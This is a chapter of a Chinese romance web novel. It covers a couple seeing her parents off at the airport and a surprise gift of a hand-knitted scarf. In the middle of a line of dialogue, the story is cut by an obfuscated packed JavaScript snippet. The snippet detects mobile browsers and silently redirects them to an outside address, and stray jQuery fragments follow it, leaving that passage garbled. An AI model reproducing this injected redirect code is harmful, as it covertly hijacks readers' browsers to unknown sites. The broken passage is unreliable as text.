黄爸爸和黄妈妈来到津南市的最后一天,祝则溪的美术工作室成为了他们此行的最后一站。
“小祝,你的工作室离家远不远啊?”
黄时雨和祝则溪本来是特意避开了上班的早高峰,但不知为何,早上十点半出发竟然也开始堵车了。
祝则溪一边谨慎地观察路况,一边还不忘及时回答来自叔叔阿姨的询问——
“不远的阿姨,我平时上班就四十分钟左右就到了。”
“哦,那还挺近的。”
祝则溪小心翼翼地转过最后一个右转弯,好不容易在绕了好几圈地下车库后,才找到了一个角落的位置停好车。
“走吧,从这里上去就到了。”
祝则溪走在前面带路,黄时雨拉着爸爸妈妈紧跟在他身后。
美术工作室门口的那棵行道树已经长出了新的枝丫,给还没开始迎接新一年工作的美术工作室凭空增添了一份来自大自然的生机和美好。
黄爸爸和黄妈妈因为是第一次来,所以对什么都很新鲜,好奇地用眼睛丈量着这周围的一切。
祝则溪掏出钥匙,拉开大门。
——“叔叔阿姨,快进来吧,外面冷。”
从入口处一直到祝则溪的办公室,中间隔着一条长长的走廊,长廊两边挂着的是员工们的优秀画作,边台上放着的是一些收集而来的古玩饰品,跟黄时雨上次来看到的样子又有了新的变化。
按照祝则溪的说法来说就是,总要把办公场所弄得有吸引力一点,才能驱使自己到点上班。
“这些都是员工工位吗?”
“对的,叔叔,这一部分是跟我一样负责创作的员工,然后这一部分就跟着我的合伙人一起做市场的,所以是分开安排工位的。”
祝则溪带着黄爸爸和黄妈妈在工作室里逛了一圈,整个工作室的空气中都漂浮着一层厚厚的夸赞,浓到久久散不开。
虽然祝则溪一直十分谦虚,但黄时雨分明看到祝则溪别过脸,在爸爸妈妈看不见的地方努力压制住疯狂上扬的嘴角。
“这就是我的办公室了,桌子上和这个台子上都是我的一些稿件,基本都还只是个半成品,所以就直接这样摊开放着了。”
窗外的阳光透过纱帘斜斜地洒下一层金黄,让已经缺少人气好几天的办公室重新焕发出新的面貌,那些有阳光游走的画作上的山山水水、人物景物也随之有了更生动、更具象化的表达。
“噢,这间办公室还挺大的,阳光也好,很适合创作。”
“诶,小祝,你之后要是有时间了,也画一幅我们家的全家福呗,到时候我专门找人裱起来就挂在我们老家的客厅里。”
黄时雨也跟着爸爸妈妈一起面露期待地看着祝则溪的反应。
“谢谢叔叔阿姨的肯定,我一定尽全力画到最好!”
爸爸妈妈上午到祝则溪的美术工作室参观了一番,回到家简单午餐了一顿,就要前往机场返回满城了。
十天的时间,说长也长,说短也短,黄时雨还感觉没相处几天呢,怎么这么快就又到了要分别的日子了。
“苗苗,小祝,我们拿的那些腊肉啥的,一定要放在通风的地方吹干之后再煮着吃。”
“那些牛肉我放在冰箱下面第二层的,分袋装好了的,你们别忘了。”
“那些饺子有玉米猪肉和香菇猪肉两种,每一包上面我都贴了标签的,想吃哪种自己选啊。”
“……”
这些话爸爸妈妈一路从家门口说到过安检的最后几分钟,黄时雨已经听得耳朵都要起茧了,但还是躲不过这些絮絮叨叨的叮嘱。
黄时雨拿出手机看了一眼时间,这下必须要进去了,再不进去就要有迟到的风险了。
黄时雨将他俩强行扭转了一个方向——
“好了妈妈,爸爸,时间不多了,快进去吧,你说的那些我都记住了啊。”
黄妈妈这才收住口,“行行行,那我不啰嗦了。”
黄爸爸从祝则溪手中接过行李箱,转身时还不忘轻轻拍拍他的肩,然后两人同步转过身去。
不知道黄爸爸究竟说了些什么,祝则溪一直在点头应答。
在转身出发的最后一刻,黄爸爸张开双臂,另外三人便一起张开胳膊,快速地像石榴籽一样紧紧地搂抱在一起,持续时间约为三秒钟。
“那我们走了哦?”
黄爸爸和黄妈妈走过安检口,见黄时雨和祝则溪还没转身离开,便再次挥挥手,示意两人可以准备开车回家了。
黄时雨却不紧不慢地点点头,看着爸爸妈妈一点一点消失在自己的视野中,再也看不见时,这才戳了戳身边的祝则溪,“我爸爸刚刚跟你说什么?”
“啊?”
祝则溪有点心虚地挠挠头,有些欲言又止,“就是一些叮嘱的话,你不用知道啦。”
黄时雨还是不太相信,“那他怎么不叮嘱我?”
祝则溪笑着将黄时雨的手纳入自己的掌心,“应该也叮嘱过吧,只是你自己不知道而已。”
在回程的路上,黄时雨一直有点闷闷不乐的。
祝则溪很快便察觉到了她的异样,声音放得更温和些,“怎么不开心了,要不跟我说说呗?”
黄时雨摇摇头,目光移向窗外,“之前不管是送我去上学、送我去参加比赛又或是参加补习班,都是他们看着我的背影,今天好像是第一次我看着他们的背影离我越来越远,感觉很不一样。”
“虽然我也知道人长大了就是不能一直和父母待在一起的,之前我一直没有这种具体的感觉,直到刚刚,我才感觉到离别的含义,就是有一个人站在原地看着,明明很不舍得,但是又没有任何理由把他们永远留在身边。”
祝则溪的耐心很好,几乎在黄时雨每说完一段话之后,都会“嗯”一声,并温柔地捏捏她的手,示意她可以一直说下去,因为总有人在听。
“你懂这种感觉吗?”
祝则溪的眼眸暗了暗,黄时雨这才意识到自己好像说了什么不该说的话。
——“哦,对不起,我不是故意这样说的,抱歉。”
“没关系,虽然我没有切身体会过,但是我也能理解你的感受。”
趁着等红灯的间隙,祝则溪解开安全带,朝黄时雨倾身而来,“不过苗苗,我永远不会把后背留给你的,你愿意相信我吗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17411494|187787||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”
两人在并不宽敞的前座间鼻尖相抵,呼吸时气息交织。
黄时雨分明看到祝则溪的眼神从自己的眉眼间一路游走到自己的嘴唇上,她忍不住往后缩了缩。
她的眼神瞟了一眼红路灯,看到灯光颜色一瞬间变绿,立刻轻轻推了推祝则溪的肩膀,提醒他该继续开车了,“绿灯了。”
“噢,”祝则溪又重新系好安全带,端端正正地坐到驾驶座上,“那回去再说。”
“回去也不准说!”
“那好吧,”祝则溪半晌后小声补充了一句,“那我直接用行动表示。”
黄时雨立马伸手捂住了他的嘴,用锋利的眼神死死盯住祝则溪的眼睛,“光天化日,朗朗乾坤的,不许胡说!”
祝则溪的眼睛都弯成了一条缝,他轻轻拉下黄时雨的手,瞟了一眼她已经有些微微发红的脸颊,故作镇定地说,“我没有乱说啊。”
“之前我说要给你织一条好看的围巾,但是你买的材料颜色有点不太够,于是我又自己网购了一些材料包,放假之前就已经织好了,回去拿出来给你看看好不好?”
“好啊,”黄时雨话音刚落,又觉得有些不对劲,“诶不对,你藏哪的,我都不知道。”
“这可是惊喜,肯定不能让你提前发现啊。”
回家的路可比来时的路要拥挤得多,在经历了堵车、畅通、堵车、畅通的循环往复后,黄时雨和祝则溪终于花一个小时的时间回到了家中。
对于黄时雨来说,回到家的第一件事就是寻找祝则溪不知道藏在何处的惊喜礼物。
她在客厅和卧室间游走,反复确认是否有什么异常的小角落。
“是在卧室吗?”
黄时雨看了半天一无所获,只好向默默注视着这一切的祝则溪求助。
“那就给你一点提示吧,确实是在卧室。”
卧室床上是藏不了东西的,既然如此,那就只可能是放在衣柜里咯?
黄时雨打开衣柜门,从上到下、从里到外全部都认认真真翻找了一遍,直到不小心弄乱了祝则溪的羽绒服,准备重新叠好的时候,一个彩色条纹的礼物盒才从衣服中间咕噜噜滚下来,刚好落在黄时雨的脚边。
“啊,我找到啦!”
黄时雨迫不及待地打开礼物盒,里面整整齐齐地叠放着一条颜色丰富、织法繁杂的长款围巾。
很显然,这种织法已经完全超出了黄时雨的知识范围,她能看出来的,仅仅是这条围巾好漂亮,好适合自己平时的穿搭。
“喜欢吗?”
祝则溪进来时,黄时雨已经将围巾围在了自己的脖子上,在屋子里转了好几圈,“喜欢啊,这个织法挺复杂的吧,是不是要花很长时间?”
“嗯,”祝则溪帮黄时雨仔细整理了一下她的围巾,调成了更日常的长度,“不过这些都不重要,你喜欢就是最好的。”
不对,这句话怎么这么耳熟?
“我怎么感觉你好像经常说这句话,之前上大学的时候,你做那个盲盒那次也说了同样的话对不对?”
祝则溪的手指顿了顿,“可能这就恰好说明,我是一个从一而终的人。”